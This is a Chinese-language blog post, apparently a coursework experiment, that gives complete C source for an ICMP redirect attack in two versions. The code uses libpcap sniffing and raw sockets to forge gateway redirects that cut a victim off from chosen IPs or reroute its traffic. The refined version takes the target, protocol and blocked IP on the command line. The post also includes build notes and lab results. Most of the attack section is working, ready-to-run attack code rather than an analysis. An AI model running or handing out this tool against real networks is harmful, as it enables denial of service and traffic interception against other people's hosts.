ICMP重定向攻击

最新推荐文章于 2024-03-01 21:19:22 发布
最新推荐文章于 2024-03-01 21:19:22 发布
阅读量615 收藏 1
点赞数 2
文章标签： 网络 icmp
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44858076/article/details/111597287
版权

一.实现思路

  1. 使用pcap的混杂模式抓取所有可以嗅探到的包，设置过滤器仅抓取ICMP请求报文和ICMP响应报文（改进版可以抓取多种类型）。
  2. 打印出抓取的数据包，解析数据包中的目的MAC，源MAC，源IP和目的IP，随后攻击用户，使其不能访问特定的域名（需要设置）。
  3. 使用raw socket 并设置IP_HDRINCL（使用户能够自己处理IP首部），自己制作IP首部和ICMP重定向报文的首部，发送给受攻击用户。
  4. icmp重定向报文首部字段如下：在这里插入图片描述

二.代码实现

#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>  
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <string.h>
#include <time.h>

#define MAX 1024
#define FRAME_HEADER 14

const unsigned char *target = "192.168.31.154"; 	//攻击目标IP
const unsigned char *Ori_Gw_IP = "192.168.31.1";	//原网关ip
const unsigned char *Redic_IP = "192.168.85.129";	//重定向IP，一个“死”IP
const unsigned char *baidu = "36.152.44.96";		//指定需要攻击的目标域名为百度
const unsigned char *ustc = "202.38.64.246";		//指定需要攻击的目标域名为ustc官网


/*计算校验和*/  
u_int16_t checksum(u_int8_t *buf,int len)  
{  
    u_int32_t sum=0;  
    u_int16_t *cbuf;  
  
    cbuf=(u_int16_t *)buf;  
  
    while(len>1)
    {  
        sum+=*cbuf++;  
        len-=2;  
    }  
  
    if(len)  
        sum+=*(u_int8_t *)cbuf;  
  
        sum=(sum>>16)+(sum & 0xffff);  
        sum+=(sum>>16);  
  
        return ~sum;  
}  

// data是抓取的报文数据
void icmp_redirect(int sockfd,const unsigned char *data){
	char buf[MAX],*p;
    	struct ip_header *ip;
    	struct icmp_header *icmp;
    	int len,i;
    	//struct sockaddr_in dest; 
    	struct packet{
		struct iphdr ip;
		struct icmphdr icmp;
		char orgin_iph[28];
    	}packet;
    	
    	printf("待攻击的目标地址IP为:%s\n", target);
    	printf("目标地址的原网关IP为:%s\n", Ori_Gw_IP);
    	printf("重定向IP为:%s\n\n\n", Redic_IP);

    	// 手动设置IP首部
    	packet.ip.version = 4;	//版本
    	packet.ip.ihl = 5;	// 首部长度
    	packet.ip.tos = 0;	// 服务类型000--Routine（普通）
    	packet.ip.tot_len = htons(56); 	//设置总长度为56B
    	packet.ip.id = getpid(); 	// 标识字段
    	packet.ip.frag_off = 0;	// 高3位为DF/MF/0 低13位为片偏移
    	packet.ip.ttl = 64;	// 生存时间为64跳	
    	packet.ip.protocol = IPPROTO_ICMP;	// 协议设置为ICMP（值为1）
    	packet.ip.check = 0;	//校验和初始为0		
    	packet.ip.saddr = inet_addr(Ori_Gw_IP);	// 原网关IP 
    	// memcpy(Ori_Gw_IP, data+26, 4);
    	packet.ip.daddr = inet_addr(target);	// 受攻击者的IP
    	// memcpy(Vic_IP, data+30, 4);
    	
    	
    	packet.icmp.type = 5;	// ICMP重定向报文
    	packet.icmp.code = 1;	// code含义为：Redirect for host需要主机重定向
    	packet.icmp.checksum = 0;
    	packet.icmp.un.gateway = inet_addr(Redic_IP);
    	
    	struct sockaddr_in dest =  {
        .sin_family = AF_INET,	// 定IP地址地址版本为IPV4
        .sin_addr = {
            .s_addr = inet_addr(target)	// 设置地址为受攻击者的IP
        }
   	};
   	
   	memcpy(packet.orgin_iph, data+14, 28);	// 复制原来报文的IP首部+数据部分的前8B
   	packet.ip.check = checksum(&packet.ip, sizeof(packet.ip)); 	// 对IP首部求校验和
   	packet.icmp.checksum = checksum(&packet.icmp, sizeof(packet.icmp)+28);
   	   	
   	sendto(sockfd, &packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest));
   	
}
 

void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr,  const u_char *packet){
	// printf("这是从网络抓取的包!\n");
	int * id = (int *)arg;
  
	printf("id: %d\n", ++(*id));
	printf("Packet length: %d\n", pkthdr->len);
	printf("Number of bytes: %d\n", pkthdr->caplen);
	printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
	  
	int i;
	printf("00-15");
	for(i=0; i < pkthdr->len; ++i){
	  printf(" %02x", packet[i]);	// packet中含有抓取的报文数据
	  if( (i + 1) % 16 == 0 ){
	    printf("\n");
	    printf("%d-%d:", i+1, i+16);
	  }
	}
	
	/*char dst_mac[7];
	char src_mac[7];
	char src_ip[5];
	char dst_ip[5];
	memcpy(dst_mac, packet, 6);
	memcpy(src_mac, packet+6, 6);
	memcpy(src_ip, packet+14, 4);
	memcpy(dst_ip, packet+18, 4);
	dst_mac[6] = '\0';
	src_mac[6] = '\0';
	src_ip[4] = '\0';
	dst_ip[4] = '\0';*/
	
	// 对抓去的数据包进行解析
	printf("\n目的MAC：%x:%x:%x:%x:%x:%x\n", packet[0], packet[1], packet[2], packet[3], packet[4], packet[5]);
	printf("源MAC：%x:%x:%x:%x:%x:%x\n", packet[6], packet[7], packet[8], packet[9], packet[10], packet[11]);
	printf("源IP：%d.%d.%d.%d\n", packet[26], packet[27], packet[28], packet[29]);
	printf("目的IP：%d.%d.%d.%d\n", packet[30], packet[31], packet[32], packet[33]);
	

	printf("\n");
	
	int sockfd,sockset;
	//AF_INET:IPv4网络通信;SOCK_RAW:原始套接字;IPPROTO_ICMP：ICMP传输协议
	sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);	
	if(sockfd < 0){
		printf("创建套接字失败！");
		return -1;
	}
	
	int nRecvBuf=32*1024;  // 接收缓冲
	// IPPROTO_IP:IP选项;IP_HDRINCL:设置需要手动设置IP数据包和首部
	sockset = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&nRecvBuf, sizeof(int));
	if(sockset == -1 ){
		printf("设置套接字失败！");
		return -1;
	}
	
	// 可以修改如下用户目的IP,筛选出使目标用户不再能访问该用户目的IP
	if( packet[26] == 202 && packet[27] == 38 && packet[28] == 64 && packet[29] == 246){
		printf("开始IP重定向！\n");
		icmp_redirect(sockfd, packet);	
	}
	
	
}


int main(int argc, char *argv[]){

	pcap_t *handle;			/* Session handle */
	char *dev;			/* The device to sniff on */		        
	char errbuf[PCAP_ERRBUF_SIZE];	/* Error string */
	struct bpf_program fp;		/* The compiled filter */
	char filter_exp[] = "icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo";	/* The filter expression */	// 只接收icmp的ping请求和ping响应的数据包
	bpf_u_int32 mask;		/* Our netmask */
	bpf_u_int32 net;		/* Our IP */
	struct pcap_pkthdr header;	/* The header that pcap gives us */
	const u_char *packet;		/* The actual packet */

	/* Define the device */
	dev = pcap_lookupdev(errbuf);
	if (dev == NULL) {
		fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
		return(2);
	}
	
	/* Find the properties for the device */
	if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {	// 返回对应设备的IPV4地址和相应的网络掩码
		fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
		net = 0;
		mask = 0;
	}
	
	/* Open the session in promiscuous mode */
	handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); 	//handle是会话句柄
	if (handle == NULL) {
		fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
		return(2);
	}
	
	/* Compile and apply the filter */
	if (pcap_compile(handle, &fp, filter_exp, 1, net) == -1) {
		fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
		return(2);
	}
		
	if (pcap_setfilter(handle, &fp) == -1) {
		fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
		return(2);
	}
		
	/* Grab a packet */
	// packet = pcap_next(handle, &header);
	 /* Print its length */
	// printf("Jacked a packet with length of [%d]\n", header.len);
	
	printf("开始抓取网络ICMP包！\n");
	int id = 0;
	if (pcap_loop(handle, -1, getPacket, (u_char*)&id) == -1){
		fprintf(stderr, "Couldn't start pcap_loop %s: %s\n", filter_exp, pcap_geterr(handle));
		return(2);
	}
	 
	/* And close the session */
	pcap_close(handle);
	return(0);
}

Refined version:

#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>  
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <string.h>
#include <time.h>

#define MAX 1024
#define FRAME_HEADER 14

// "192.168.200.132"
unsigned char *target; 	//攻击目标IP
const unsigned char *gateway_ip = "192.168.200.2";	//原网关ip
const unsigned char *redirect_ip = "192.168.200.131";	//重定向IP，一个“死”IP or a attacker's IP
// "112.25.91.103"
unsigned char attack_ip[4][4];
unsigned char victim_ip[4][4];
const unsigned char *baidu = "36.152.44.96";		//ip of baidu
const unsigned char *ustc = "202.38.64.246";		//ip of ustc
int flag = 0;	// to determine which ip you want to prevent victim's visit
int flag1 = 0; // to determine the victim you want to attack
int flag2 = 0; // to determine which protocol you want to attack


/*计算校验和*/  
u_int16_t checksum(u_int8_t *buf,int len)  
{  
    u_int32_t sum=0;  
    u_int16_t *cbuf;  
  
    cbuf=(u_int16_t *)buf;  
  
    while(len>1)
    {  
        sum+=*cbuf++;  
        len-=2;  
    }  
  
    if(len)  
        sum+=*(u_int8_t *)cbuf;  
  
        sum=(sum>>16)+(sum & 0xffff);  
        sum+=(sum>>16);  
  
        return ~sum;  
}  

// data是抓取的报文数据
void icmp_redirect(int sockfd,const unsigned char *data){
	char buf[MAX],*p;
    	int len,i;
    	struct packet{
		struct iphdr ip;
		struct icmphdr icmp;
		char orgin_iph[28];
    	}packet;
    	
    	printf("待攻击的目标地址IP为:%s\n", target);
    	printf("目标地址的原网关IP为:%s\n", gateway_ip);
    	printf("重定向IP为:%s\n\n\n", redirect_ip);

    	// 手动设置IP首部
    	packet.ip.version = 4;	//版本
    	packet.ip.ihl = 5;	// 首部长度
    	packet.ip.tos = 0;	// 服务类型000--Routine（普通）
    	packet.ip.tot_len = htons(56); 	//设置总长度为56B
    	packet.ip.id	 = getpid(); 	// 标识字段
    	packet.ip.frag_off = 0;	// 高3位为DF/MF/0 低13位为片偏移
    	packet.ip.ttl = 64;	// 生存时间为64跳	
    	packet.ip.protocol = IPPROTO_ICMP;	// 协议设置为ICMP（值为1）
    	packet.ip.check = 0;	//校验和初始为0		
    	packet.ip.saddr = inet_addr(gateway_ip);	// 原网关IP 
    	packet.ip.daddr = inet_addr(target);	// 受攻击者的IP
    	
    	
    	packet.icmp.type = 5;	// ICMP重定向报文
    	packet.icmp.code = 1;	// code含义为：Redirect for host需要主机重定向
    	packet.icmp.checksum = 0;
    	packet.icmp.un.gateway = inet_addr(redirect_ip);
    	
    	struct sockaddr_in dest =  {
        .sin_family = AF_INET,	// 定IP地址地址版本为IPV4
        .sin_addr = {
            .s_addr = inet_addr(target)	// 设置地址为受攻击者的IP
        }
   	};
   	
   	memcpy(packet.orgin_iph, data+14, 28);	// 复制原来报文的IP首部+数据部分的前8B(ICMP regular header + Identifier, Sequence Number)
   	// Identifier denotes who(pid) send this icmp request, and Sequence Number denotes the number of your requests
   	// and ICMP regular header means "Type" "Code" "Checksum"
   	packet.ip.check = checksum(&packet.ip, sizeof(packet.ip)); 	// 对IP首部求校验和
   	packet.icmp.checksum = checksum(&packet.icmp, sizeof(packet.icmp)+28);
   	   	
   	sendto(sockfd, &packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest));
   	
}
 

void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr,  const u_char *packet){
	// printf("这是从网络抓取的包!\n");
	int * id = (int *)arg;
  
	printf("id: %d\n", ++(*id));
	printf("Packet length: %d\n", pkthdr->len);					// packet length 
	printf("Number of bytes: %d\n", pkthdr->caplen);				// actual packet length you captured
	printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));  	// return a local time
	  
	int i;
	printf("00-15:");
	for(i=0; i < pkthdr->len; ++i){
	  printf(" %02x", packet[i]);	// packet中含有抓取的报文数据
	  if( (i + 1) % 16 == 0 ){
	    printf("\n");
	    printf("%d-%d:", i+1, i+16);
	  }
	}
	
	// 对抓去的数据包进行解析
	printf("\n目的MAC：%x:%x:%x:%x:%x:%x\n", packet[0], packet[1], packet[2], packet[3], packet[4], packet[5]);
	printf("源MAC：%x:%x:%x:%x:%x:%x\n", packet[6], packet[7], packet[8], packet[9], packet[10], packet[11]);
	printf("源IP：%d.%d.%d.%d\n", packet[26], packet[27], packet[28], packet[29]);
	printf("目的IP：%d.%d.%d.%d\n", packet[30], packet[31], packet[32], packet[33]);
	

	printf("\n");
	
	int sockfd,sockset;
	//AF_INET:IPv4网络通信;SOCK_RAW:原始套接字;IPPROTO_ICMP：ICMP传输协议
	sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);	
	if(sockfd < 0){
		printf("创建套接字失败！");
		return;
	}
	
	int nRecvBuf=32*1024;  // 接收缓冲
	// IPPROTO_IP:IP选项;IP_HDRINCL:设置需要手动设置IP数据包和首部
	sockset = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&nRecvBuf, sizeof(int));
	if(sockset == -1 ){
		printf("设置套接字失败！");
		return;
	}
	
	// 可以修改如下用户目的IP,筛选出使目标用户不再能访问该用户目的IP
	
	// according to source ip, we could choose which ip will be the victim
	if( (packet[26] == atoi(victim_ip[0]) && packet[27] == atoi(victim_ip[1]) && packet[28] == atoi(victim_ip[2]) && packet[29] == atoi(victim_ip[3])) || flag1){	
		// according to destination ip, we could redirect that visit from victim
		if( (packet[30] == atoi(attack_ip[0]) && packet[31] == atoi(attack_ip[1]) && packet[32] == atoi(attack_ip[2]) && packet[33] == atoi(attack_ip[3])) || flag){
			printf("开始IP重定向！\n");
			icmp_redirect(sockfd, packet);	
		}
	}	
}


int main(int argc, char *argv[]){

	pcap_t *handle;			/* Session handle */
	char *dev;			/* The device to sniff on */		        
	char errbuf[PCAP_ERRBUF_SIZE];	/* Error string */
	struct bpf_program fp;		/* The compiled filter */
	char filter_exp[] = "icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo";	/* The filter expression */	// 只接收icmp的ping请求和ping响应的数据包
	bpf_u_int32 mask;		/* Our netmask */
	bpf_u_int32 net;		/* Our IP */
	struct pcap_pkthdr header;	/* The header that pcap gives us */
	const u_char *packet;		/* The actual packet */
	unsigned char *temp;
	unsigned char *attack_type;
	
	if(argc != 4){
		fprintf(stderr, "Error,Usage: ./icmp_redirect targetIP attactType attackIP\n");
		return(2);
	}
	
	target = argv[1];
	temp = argv[3];
	 
	
	printf("Target is: %s. Attack_ip is: %s. Attack type is: %s\n", target, argv[3], argv[2]);
	
	if(!strcmp("all", argv[1])) {
		flag1 = 1;
		printf("Attack all ip!\n");
	}
	
	
	if(!strcmp("all", argv[2])) {
		flag = 1;
		printf("Attack all ip request!\n");
	}
	
	if(!flag1){
		int j = 0;
		int k;
		for(int i = 0; i < 3; i++){
			k = 0;
			while(target[j] != '.'){
				victim_ip[i][k] = target[j];
				j++;
				k++;
			}
			victim_ip[i][k+1] = '\0';
			j++;
		}
		
		k = 0;
		while(target[j] != '\0'){
			victim_ip[3][k++] = target[j++];
		}
	}
	
	
	if(!flag){
		int j = 0;
		int k;
		for(int i = 0; i < 3; i++){
			k = 0;
			while(temp[j] != '.'){
				attack_ip[i][k] = temp[j];
				j++;
				k++;
			}
			attack_ip[i][k+1] = '\0';
			j++;
		}
		
		k = 0;
		while(temp[j] != '\0'){
			attack_ip[3][k++] = temp[j++];
		}
	}
	
	if(!strcmp("ICMP", argv[2])) attack_type = "icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo";
	else if(!strcmp("TCP", argv[2])) attack_type = "tcp";
	else if(!strcmp("UDP", argv[2])) attack_type ="udp";
	else if(!strcmp("all", argv[2])) flag2 = 1;
		
	
	
	/* Define the device */
	//  ‘pcap_lookupdev’ is deprecated: use 'pcap_findalldevs'
	dev = pcap_lookupdev(errbuf);
	if (dev == NULL) {
		fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
		return(2);
	}
	
	/* Find the properties for the device */
	if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {	// 返回对应设备的IPV4地址和相应的网络掩码
		fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
		net = 0;
		mask = 0;
	}
	
	/* Open the session in promiscuous mode */
	handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); 	//handle是会话句柄
	if (handle == NULL) {
		fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
		return(2);
	}
	
	if(!flag2){ // if flag2 is 1, it means we don't set filter
		/* Compile and apply the filter */
		if (pcap_compile(handle, &fp, attack_type, 1, net) == -1) {
			fprintf(stderr, "Couldn't parse filter %s: %s\n", attack_type, pcap_geterr(handle));
			return(2);
		}
			
		if (pcap_setfilter(handle, &fp) == -1) {
			fprintf(stderr, "Couldn't install filter %s: %s\n", attack_type, pcap_geterr(handle));
			return(2);
		}
	}
		
	printf("开始抓取网络%s包！\n", argv[2]);
	int id = 0;
	// -1 denotes loop endless
	if (pcap_loop(handle, -1, getPacket, (u_char*)&id) == -1){
		fprintf(stderr, "Couldn't start pcap_loop %s: %s\n", filter_exp, pcap_geterr(handle));
		return(2);
	}
	 
	/* And close the session */
	pcap_close(handle);
	return(0);
}

注：

1.使用 sudo apt-get install libpcap-dev安装pcap库抓包，并且在gcc编译时需要加上-lpcap
2.使用的icmp，ip首部的头文件是linux的内核头文件位于cd /usr/include/linux/文件下
3.运行改进版代码是，指令格式如下:
在这里插入图片描述
参数含义分别是攻击目标，攻击的协议类型，令攻击者无法再访问的IP地址。
攻击目标需要特别指定；攻击类型可以是“ICMP”,“UDP”,“TCP”和“all”；无法访问的IP地址可以是指定单个IP或者是"all"

三.实验结果（仅是普通版本的演示结果）

1. 对用户进行攻击，使用户无法访问百度
最开始百度是可以正常ping通的
在这里插入图片描述设置要使目标用户无法访问的IP为36.152.44.96
在这里插入图片描述
运行重定向攻击程序，并且再次ping百度
抓取的包如下：
在这里插入图片描述

在这里插入图片描述百度仍能够ping通，但是ip换成了36.152.44.95，证明攻击发挥了作用

2. 对用户进行攻击，使用户无法访问ustc
可知ustc的IP为202.141.176.6
在这里插入图片描述同样设置攻击IP
在这里插入图片描述此时，ping "www.ustc.edu.cn"时，能够发现收到了重定向报文
在这里插入图片描述并且在攻击程序中显示出开始进行的重定向攻击
在这里插入图片描述

tzy577
关注
ARP欺骗及ICMP重定向攻击技术研究 (2008年)
05-26
ARP欺骗及ICMP重定向攻击是以太网中常用的攻击手段，两者都可达到监听网络或对目标主机进行拒绝服务攻击的效果。该文通过分析两者在实现方式、适用范围方面的不同，得出实施ICMP重定向攻击难度更大的结论。根据IP...
协议栈安全--ICMP 协议常见攻击
XY0918ZWQ的博客
10-13 3631
ICMP 协议常见攻击1、ICMP 重定向攻击1、攻击原理二级目录三级目录 1、ICMP 重定向攻击 1、攻击原理 什么是ICMP 重定向 ICMP 重定向指的是，网络设备跨网段通讯时，发出的数据包，到达该设备指定的的网关时，网关经过查询路由表发现，目标主机不在该路由器所在的网段，此时，数据包需要再次从该接口转出时，下一跳地址在该网段的其他地方。这时，路由器启动ICMP重定向，主动向原始设备发送ICMP重定向包，告诉该设备目标网段对应的路由下一跳不在指定网关，请求重新定位新的网关地址，从而使得，数据包到达
网络-ICMP协议、Ping命令实现与ICMP攻击
关注网络安全、云原生安全
12-14 5384
简介 ICMP（Internet Control Message Protocol，网际控制报文协议）是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。 报文格式 ICMP报文分为两类：一类通知出错原因 ，一类用于诊断查询。 ICMP报文格式 类型：占一字节，标识ICMP报文的类型，从类型值来看ICMP报文可以分为两大类。第一类是取.
ICMP协议及重定向攻击实验
最新发布
cooper的笔记本
03-01 1165
ICMP重定向攻击实验及基本概念
flushwifi:一个为OSX编写的简单脚本，用于重新启动所有网络接口，清除ARP缓存和刷新路由。 还包括MAC随机化和免受ICMP重定向攻击的保护
05-01
还增加了针对ICMP重定向攻击的保护，而OSX不会将其存储为永久设置，因此需要在每次启动时运行它： sysctl -w net.inet.icmp.drop_redirect=1需要使用Spoof-mac才能利用MAC欺骗功能。 在这里得到它： ###安装并运行...
ICMP重定向介绍，ICMP重定向介绍
08-17
此外，为了防止误操作和恶意攻击，主机在收到ICMP重定向报文后，会在修改路由表前执行额外的检查，确保安全性和准确性。 #### 结语 ICMP重定向是网络管理中一项重要的机制，能够有效提升数据传输效率，优化网络...
网络协议分析文档教程-【ICMP重定向】.pdf
08-13
然而，由于它也能被恶意利用，因此了解其工作原理，以及如何通过各种手段防范ICMP重定向攻击，对于网络管理员来说是十分必要的。通过上述的实验操作，能够帮助理解ICMP重定向报文的原理和作用，以及在实际网络环境中...
ICMP重定向
08-06
然而，需要注意的是，ICMP重定向报文也可能被用于网络攻击，如中间人攻击或路由劫持。因此，了解并适当配置ICMP重定向的行为对于服务器安全至关重要。 总的来说，ICMP重定向是一种网络优化机制，通过路由器通知主机...
网络协议与攻击模拟_04ICMP协议与ICMP重定向
fencecat的博客
01-13 1728
重定向是ICMP控制报文中的一种，在某一种特定的情况下，当路由器检测到一台机器使用的是非优化路由的时候，这个时候路由器回会主机发送ICMP重定向报文，使得它走优化路由。
实验一:ICMP重定向攻击
chuxuezheerer的博客
10-09 5536
实验原理： ICMP重定向信息是路由器向主机提供实时的路由信息，当一个主机收到ICMP重定向信息时，它就会根据这个信息来更新自己的路由表。由于缺乏必要的合法性检查，如果一个黑客想要被攻击的主机修改它的路由表，黑客就会发送ICMP重定向信息给被攻击的主机，让该主机按照黑客的要求来修改路由表。 在VMware虚拟环境中（Virtual Box不同），.2是充当网关的默认地址（通过route命令可以查看当前的网关和路由信息）；所以攻击者可以冒充.2发出重定向包，通知受害者修改自己的网关为攻击者指定的gw地址；如果
【ICMP协议（ping、tracert命令）、ICMP重定向】-20211130
AZK707的博客
01-24 1385
一、ICMP（Internet控制信息协议） 最常见的就是ping、tracert命令 1.ping命令 用于确认设备之间是否能正常通信 2.tracert命令 用于追踪路由器设备 在一段很长的网络链路中，中间某一台设备可能出故障时，用tracert命令可以定位到，具体某台设备，这样就不用一个一个ping了。 在tracert过程中，有的设备不允许被跟踪，所以是***请求超时，这是正常现象。为了保密（国家...
ICMP路由重定向攻击演示
whoim_i的博客
11-10 4059
目录一、ICMP介绍二、ICMP重定向攻击实例1. 基于ICMP路由重定向攻击实战及防御2. 基于python的ICMP路由重定向工具编写 一、ICMP介绍 ICMP（Internet Control Message Protocol）Internet控制报文协议。它是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本...
信息安全-ICMP重定向攻击实现代码
Java硬件工程师的博客
12-27 2031
#include <stdio.h> #include <pcap.h> #include <time.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> #include <neti
20222959 2022-2023-2 《网络攻防实践》第四次作业
qq_44823422的博客
03-27 151
通过本次实验，我对ARP欺骗攻击、ICMP重定向攻击、SYN FLOOD攻击和TCP RST攻击以及TCP会话劫持攻击等网络攻击方式有了一个更深入的了解与掌握，丰富了网络攻防的技能。
实现ICMP重定向攻击
weixin_38885346的博客
12-28 1944
环境：攻击机Ubuntu 18 ，受攻击机Windows7 一、使用netwox体会实验效果，netwox发出的ICMP重定向包的目的IP是受害者的IP，也即，netwox先抓到受害者的数据包，根据捕获包的IP地址，再构造攻击包。 1.Ubuntu安装netwox sudo apt-get install netwox 2.用netwox做重定向攻击 netwox 86 -g 新的网关地址 -i 目标机当前使用的网关地址 3.在目标机上安装wireshark程序（参考网上），执行ping命令，并启动wi
预防ICMP重定向攻击
04-23
ICMP重定向攻击是一种利用网络控制协议（ICMP）的攻击方式，攻击者发送虚假的ICMP重定向消息来欺骗网络中的主机，导致其流量被重定向到攻击者指定的网站或者服务器。为了预防ICMP重定向攻击，可以采取以下措施： 1....
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值